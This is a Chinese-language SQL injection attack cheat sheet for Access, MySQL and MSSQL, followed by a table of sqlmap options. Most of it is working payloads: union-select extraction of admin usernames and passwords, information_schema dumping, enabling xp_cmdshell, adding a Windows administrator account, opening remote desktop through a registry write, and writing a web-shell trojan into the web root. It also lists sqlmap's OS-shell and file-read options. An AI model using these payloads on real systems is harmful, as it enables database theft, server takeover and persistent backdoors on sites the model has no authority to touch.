1、Access注入
1.1 判断是否存在注入漏洞
?id=10 and 1=1 //不报错
?id=10 and 1=2 //报错
1.2 判断字段数
?id=10 order by 1
...
?id=10 order by 7 //不报错
?id=10 order by 8 //报错
说明有7个字段
1.3 猜表名
?id=10 and exists(select * from administrator) //不报错
猜测表名是administrator
1.4 猜字段名
?id=10 and exists(select user_name from administrator) 返回正常页面,说明administrator表中存在字段user_name
?id=10 and exists(select password from administrator) 返回正常页面,说明administrator表中存在字段password
以上一般能用工具进行破解,了解即可
2、SQL注入高级查询(union select)
在前面的案例中,我们已经猜解出了表名administrator及字段名user_name,password,现在来进行高效查询获得字段内容。
?id=10 and 1=2 union select 1,2,3,4,5,6,7 from administrator //可以发现2和3是回显点
?id=10 and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
2、MySQL数据库注入
MySQL数据序在各种Web应用程序中的使用也非常广泛。与其他数据库一样,在Web应用程序编写的过程中,如果对用户提交的参数未进行过滤或过滤不严,也会导致SQL注入攻击漏洞的产生.
MySQL数据库通常与PHP网页程序搭建网站平台,各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等.由于MySQL数据库的应用时象大多足一些大型的网站企业公司,因此针对MySQL数据库的注入攻击技术的危害性也非常大
2.1 常见注入攻击
MySQL 4及之前的版本中,由于不支持子语句查询,而且当“php.ini"配置文件中的magic_quotes_gpc参数设置为“On(开启)”时,提交的变量中包含’(单引号),"(双引号),以及反斜线、and和空字符等危险的字符,都会被数据库自动转为含有反斜线的转义字符,给注入攻击带来很大的困难.由于这个特性,导致许多管理员认为MySQL比较安全。然而事实上,安全永远是相对的,漏洞与攻击威胁的存在却是绝对的。
MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单。
2.2 MySQL4注入
MySQL4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。MySQL 4的注入攻击方法如下。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
2.3 MySQL5注入
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常有如下几种:
① 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
② 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
③ 通过dumpfile/outfile函数导出获取WebShell。
2.4 MySQL注入过程
① 检查注入点
and 1=1
and 1=2
② 判断字段数
1'order by 1# //不报错
1'order by 2# //不报错
1'order by 3# //报错
说明有2个字段
③ 查看数据库版本、库名
1'union select version(),database()--+
④ 获取mysql所有库
1'union select 1,group_concat(schema_name) from information_schema.schemata#
⑤ 获取表名
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
⑥ 获取表里的字段
1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
⑦ 获取所有字段内容
1'union select 1,group_concat(user,password) from users#
3、MsSQL注入
MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。
3.1 判断是否存在MsSQL注入
and exists(select * from sysobjects) //页面返回正常,则说明有MsSQL注入点
3.2 注入点权限分类
1、sa权限
sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。
① 检查是否是mssql数据库
and exists(select * from sysobjects)
② 查询当前数据库系统的用户名
and system_user=0
③ 检查注入点是否为sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
④ 判断一下xp_cmdshell存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')
没有的话,可以输入这条命令进行恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
⑤ 添加账号
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
⑥ 开3389
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
2、dbowner
当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。
① 查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));--
② 找出网站路径
通过报错或baidu、google查找
通过相关语句:
drop table black;create Table black(result varchar(7996) null,id int not null(identity(1,1)))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--and (select result from black where id=1)>0--
③ 写入一句话木马获取webshell
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
3、public
① 获取当前网站数据库名称
and db_name()=0--
② 获取当前数据库所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
③ 爆表名及字段名
having 1=1-- //得出表名(admin)和字段名(id)
group by admin.id having 1=1 //接着爆出下一个字段名为name
group by admin.id,admin.name having 1=1--
4、sqlmap常见命令
常用命令 | 解释 |
---|---|
-r | 指定参数post注入 sqlmap.py -r post.txt -p 注入参数 |
-u | get注入 |
–-level=LEVEL | 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer |
–risk=RISK | 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试 |
-v | ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3 |
-p | -p 后面接参数,针对单个参数注入 |
-threads | 线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10 |
-batch-smart | 智能判断测试 |
–mobile | 模拟测试手机环境站点 |
-m | 批量注入 |
–dbs | 查看数据库名 |
–current-user | 大多数数据库中可检测到数据库管理系统当前用户 |
–current-db | 当前连接数据库名 |
–is-dba | 判断当前的用户是否为管理 |
–users | 列出数据库所有所有用户 |
–tables -D 数据库名 | 获取表名 |
–file-read /etc/password | 读取文件内容 |
–os-shell | 系统交互的shell |